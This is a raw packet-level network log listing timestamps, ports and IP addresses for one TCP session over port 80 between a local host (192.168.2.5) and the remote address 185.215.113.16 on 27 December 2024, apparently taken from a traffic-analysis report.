Dec 27, 2024 09:07:57.189539909 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.189553022 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.189609051 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.190267086 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.190306902 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.190320015 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.190344095 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.190371037 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.190721035 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.191003084 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.191054106 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.191066980 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.191104889 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.191749096 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.191797018 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.191801071 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.191814899 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.191848040 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.192513943 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.192553997 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.192567110 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.192603111 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.193259954 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.193303108 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.193325996 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.193339109 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.193372011 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.194015026 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.194056034 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.194068909 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.194094896 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.234056950 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.245423079 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.369601965 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.369643927 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.369657040 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.369698048 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.369996071 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.370052099 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.370066881 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.370105028 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.370105028 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.370731115 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.370981932 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.371040106 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.371052980 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.371068954 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.371104002 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.371624947 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.371705055 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.371716976 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.371824026 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.372402906 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.372423887 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.372438908 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.372461081 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.372478962 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.373127937 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.373176098 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.373187065 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.373217106 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.373872995 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.373928070 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.373934031 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.373948097 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.374023914 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.374629974 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.374680996 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.374694109 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.374737978 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.375396013 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.375448942 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.375452995 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.375468016 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.375881910 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.376177073 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.376195908 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.376214027 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.376240015 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.376893044 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.376949072 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.376959085 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.376961946 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.377006054 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.377701044 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.377715111 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.377728939 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.377773046 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.378392935 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.378434896 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.378447056 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.378452063 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.378503084 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.379152060 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.379194021 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.379206896 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.379240036 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.379925013 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.379972935 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.379985094 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.380016088 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.380143881 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.380664110 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.380717039 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.380729914 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.380770922 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.381403923 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.381463051 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.381467104 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.381479979 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.381525993 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.382164001 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.382222891 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.382265091 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.382317066 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.382950068 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.382972956 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.382987976 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.383040905 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.383104086 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.383668900 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.383735895 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.383748055 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.383783102 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.384424925 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.384475946 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.384490013 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.384535074 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.385170937 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.385212898 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.385226965 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.385281086 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.385915995 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.385967016 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.385970116 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.385987997 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.386032104 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.386703014 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.386940956 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.386970043 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.386981964 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.387017012 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.387042046 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.387690067 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.387742996 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.387758017 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.387789011 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.388430119 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.388467073 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.388479948 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.388495922 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.388524055 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.389220953 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.389251947 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.389264107 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.389292002 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.389957905 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.390010118 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.390022039 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.390022993 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.390103102 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.390697002 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.390732050 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.390743971 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.390774965 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.391180038 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.391532898 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.391546011 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.391561985 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.391606092 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.391621113 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.392252922 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.392266035 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.392277002 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.392308950 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.392992020 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.393004894 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.393018007 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.393042088 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.393064022 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.393747091 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.393759012 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.393771887 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.393805027 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.394509077 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.394520044 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.394557953 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.394661903 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.394697905 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.395293951 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.395308018 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.395333052 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.395349979 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.446464062 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.485155106 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.570928097 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.570943117 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.570955038 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.571012020 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.571294069 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.571305990 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.571324110 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.571346998 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.571376085 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.571938038 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.572118998 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.572149038 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.572160959 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.572161913 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.572216034 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.572921991 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.572932959 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.572945118 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.572966099 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.573654890 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.573667049 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.573678017 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.573709011 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.574443102 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.574454069 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.574466944 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.574500084 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.575196028 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.575207949 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.575218916 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.575237989 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.575264931 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.575880051 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.575906992 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.575918913 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.575944901 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.576658964 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.576682091 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.576693058 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.576710939 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.576725960 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.577445984 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.577457905 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.577470064 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.577548981 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.578181028 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.578192949 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.578206062 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.578238964 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.578267097 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.579008102 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.579020023 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.579034090 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.579075098 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.579693079 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.579705000 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.579715967 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.579758883 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.579785109 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.580460072 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.580471039 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.580482960 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.580516100 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.581185102 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.581197977 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.581213951 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.581229925 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.581249952 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.581923008 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.581984043 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.581996918 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.582016945 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.582720041 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.582736969 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.582748890 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.582758904 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.582788944 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.583463907 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.583498955 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.583509922 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.583539963 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.584167957 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.584198952 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.584212065 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.584219933 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.584247112 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.584904909 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.584944963 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.584958076 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.584990025 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.585733891 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.585746050 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.585760117 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.585781097 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.585802078 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.586452007 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.586464882 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.586476088 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.586503983 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.587232113 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.587250948 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.587263107 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.587270975 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.587311029 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.588109970 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.588190079 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.588215113 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.588226080 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.588253021 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.588253021 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.588933945 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.588969946 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.588983059 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.589004993 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.589760065 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.589771986 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.589783907 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.589802980 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.589837074 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.590522051 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.590533972 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.590544939 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.590567112 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.591258049 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.591269970 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.591280937 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.591300011 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.591325045 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.592008114 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.592020035 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.592031956 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.592063904 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.592480898 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.592782021 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.592794895 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.592806101 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.592818975 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.592839956 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.593523026 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.593534946 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.593547106 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.593578100 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.594249964 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.594260931 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.594274044 CET	80	49728	185.215.113.16	192.168.2.5
